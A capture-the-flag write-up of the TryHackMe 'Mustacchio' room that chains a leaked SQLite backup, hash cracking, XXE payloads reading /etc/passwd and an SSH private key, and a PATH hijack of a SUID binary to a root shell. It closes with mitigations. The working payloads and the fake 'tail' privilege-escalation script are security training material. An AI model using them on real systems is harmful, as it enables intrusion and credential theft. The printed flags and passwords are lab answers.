Platform: TryHackMe · Difficulty: Easy · Category: XXE Injection / SQLite Credential Leak / PATH Hijack
Introduction
Mustacchio is a barber shop themed box that hides its vulnerabilities with the same care the barber presumably puts into a clean shave — that is to say, not much. An exposed SQLite database in a JS directory, an admin panel on a non-standard port serving raw XML to a parser that trusts it completely, and a SUID binary that calls system utilities by name rather than by path. Each layer is independently preventable, and yet here we are. The box earns its difficulty from the chain length rather than the complexity of any individual step.
Recon
Full-range sweep with RustScan, Nmap for service and version fingerprinting:
rustscan -a 10.48.141.220 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 |
| 80/tcp | HTTP | Apache httpd 2.4.18 (Ubuntu) |
Standard two ports on the first pass. The homepage is a barber shop landing page. Nmap flags one robots.txt disallowed entry: /, which disallows everything and reveals nothing useful.
Feroxbuster with PHP, HTML, and TXT extensions:
feroxbuster -u http://10.48.141.220 \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x php,txt,html
Most results are images and font files — cosmetic noise. The one hit that matters:
200 http://10.48.141.220/custom/js/users.bak # ^^^ database backup in a JS directory
A .bak file sitting in a publicly browsable JavaScript directory is exactly as bad as it sounds.
file Downloads/users.bak
SQLite 3.x database, last written using SQLite version 3034001
sqlite3 Downloads/users.bak
sqlite> .dump
CREATE TABLE users(username text NOT NULL, password text NOT NULL);
INSERT INTO users VALUES('admin','1868e36a6d2b17d4c2745f1659433a54d4bc5f4b');
Username admin, password as an unsalted SHA1 hash.
hashcat -m 100 1868e36a6d2b17d4c2745f1659433a54d4bc5f4b /usr/share/wordlists/rockyou.txt
1868e36a6d2b17d4c2745f1659433a54d4bc5f4b:bulldog19
Status: Cracked
Time: ~1 sec
Admin password: bulldog19. SSH as admin was blocked immediately — the server only accepts publickey authentication. Rather than stalling, a second, deeper Nmap scan was run to check for services missed on the first pass:
nmap -sV -p- -T4 10.48.141.220
8765/tcp open ultraseek-http # ^^^ missed on first scan
Port 8765 — a non-standard HTTP port running nginx. admin:bulldog19 worked on a second login panel found there.
Foothold
The admin panel at port 8765 presents a single comment submission form. The POST body is a xml= parameter — a direct XML input. A JavaScript comment in the page source hints at /auth/dontforget.bak, and an HTML comment reads: Barry, you can now SSH in using your key!
Three useful signals: the parameter name, a backup file path, and a username.
cat Downloads/dontforget.bak
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>...</com>
</comment>
The XML structure the parser expects is now known. When an application parses user-supplied XML and the parser has external entity processing enabled, an attacker can define a custom entity that references a file on the server's filesystem — effectively giving a file read primitive through the XML parser.
XXE payload to read /etc/passwd — confirming LFI:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&xxe;</com>
</comment>
Sent via Burp Suite as a URL-encoded POST to /home.php. The response rendered the full /etc/passwd contents inside the comment preview, confirming XXE-to-LFI. Two user accounts confirmed: joe (uid 1002) and barry (uid 1003).
XXE payload escalated to read Barry's SSH private key:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&xxe;</com>
</comment>
# Response (truncated)
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E
jqDJP+blUr+xMlASYB9t4gFyMl9VugHQJAylGZE6J/b1nG57...
-----END RSA PRIVATE KEY-----
Barry's encrypted SSH key extracted via the XML parser.
Shell / Access
ssh2john id_rsa > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
id_rsa:urieljames
1 password hash cracked, 0 left
Passphrase: urieljames.
ssh barry@10.48.141.220 -i id_rsa
# Enter passphrase: urieljames
barry@mustacchio:~$ cat user.txt
62d77a4d5f97d47c5aa38b3b2651b831
Escalation
sudo -l failed — barry's sudo password isn't urieljames (the key passphrase is not the system password). On to SUID hunting.
find / -type f -perm -u=s 2>/dev/null
/home/joe/live_log
A SUID binary in another user's home directory, with a name suggesting it reads logs in real time.
strings /home/joe/live_log
Live Nginx Log Reader
tail -f /var/log/nginx/access.log # ^^^ relative path — no /usr/bin/tail
When a program calls another program by name rather than by its full absolute path, the OS resolves the name by searching through the directories listed in $PATH, left to right, stopping at the first match. If an attacker can prepend a directory they control to $PATH and place a malicious executable with the same name there, the SUID binary will execute the malicious version — inheriting root privileges.
# Create fake tail that stamps SUID onto a bash copy
echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod +s /tmp/bash' > /tmp/tail
chmod +x /tmp/tail
# Prepend /tmp to PATH so our fake tail is found first
export PATH=/tmp:$PATH
# Trigger the SUID binary — it calls tail, finds ours first
/home/joe/live_log
Live Nginx Log Reader
/tmp/bash -p
bash-4.3# whoami
root
cat /root/root.txt
3223581420d906c4dd1a5f9b530393a5
Exploitation — The Full Chain
-
users.bakSQLite database exposed in/custom/js/→admin:SHA1hash -
Hashcat cracked unsalted SHA1 →
bulldog19 -
Port 8765 (missed on first scan) → nginx admin panel,
admin:bulldog19worked -
XXE injection on XML POST parameter → LFI confirmed via
/etc/passwd -
XXE escalated to read
/home/barry/.ssh/id_rsa→ encrypted SSH key extracted -
John the Ripper cracked SSH key passphrase →
urieljames -
SSH as
barry→ user flag -
SUID binary
/home/joe/live_logcallstailwith relative path -
PATH hijack → fake
tailin/tmp→ SUID bash spawned -
/tmp/bash -p→ root shell → root flag
Rabbit Holes
SSH as admin. After cracking bulldog19, the most obvious next step was SSH as admin. The server rejected it immediately: Permission denied (publickey). The admin account has no password authentication enabled, only publickey. The credentials were valid, just for the wrong service. Port 8765's admin panel was the actual target.
John the Ripper failing on the SHA1 hash. john was tried first and returned no results — the hash was already in John's potfile from a previous session, causing it to skip silently. Switching to Hashcat with -m 100 cracked it immediately. When John says "No password hashes left to crack," it often means the hash was already cracked in a prior run — always check john --show hash.txt before concluding the password is uncrackable.
Flags
| Flag | Value | Location |
|---|---|---|
| User | 62d77a4d5f97d47c5aa38b3b2651b831 |
/home/barry/user.txt |
| Root | 3223581420d906c4dd1a5f9b530393a5 |
/root/root.txt |
Mitigations
| Vulnerability | Severity | Mitigation |
|---|---|---|
| Database backup exposed in web-accessible directory | Critical | Never store backup files under the webroot; move to a restricted off-web location and disable directory listing |
| Unsalted SHA1 password hash | High | Use bcrypt, Argon2, or PBKDF2 for password storage; SHA1 is a digest algorithm, not a password hash |
| XXE injection via unsanitised XML parser | Critical | Disable external entity processing in the XML parser; validate and sanitise all XML input |
| SSH private key readable via LFI | High | Restrict .ssh/ permissions to 700 and id_rsa to 600
|
| SUID binary calling utilities by relative path | Critical | Always use absolute paths for system calls inside privileged binaries; audit all SUID binaries regularly |
| Admin panel on non-standard port with no rate limiting | Medium | Apply rate limiting and account lockout to all login endpoints regardless of port |
Key Takeaway
XXE is not just an academic vulnerability — when a web application parses XML and reflects the output, a single malicious DOCTYPE declaration can turn the XML parser into a filesystem reader. Disabling external entities should be the default, not an afterthought.
Room: TryHackMe — Mustacchio
Top comments (0)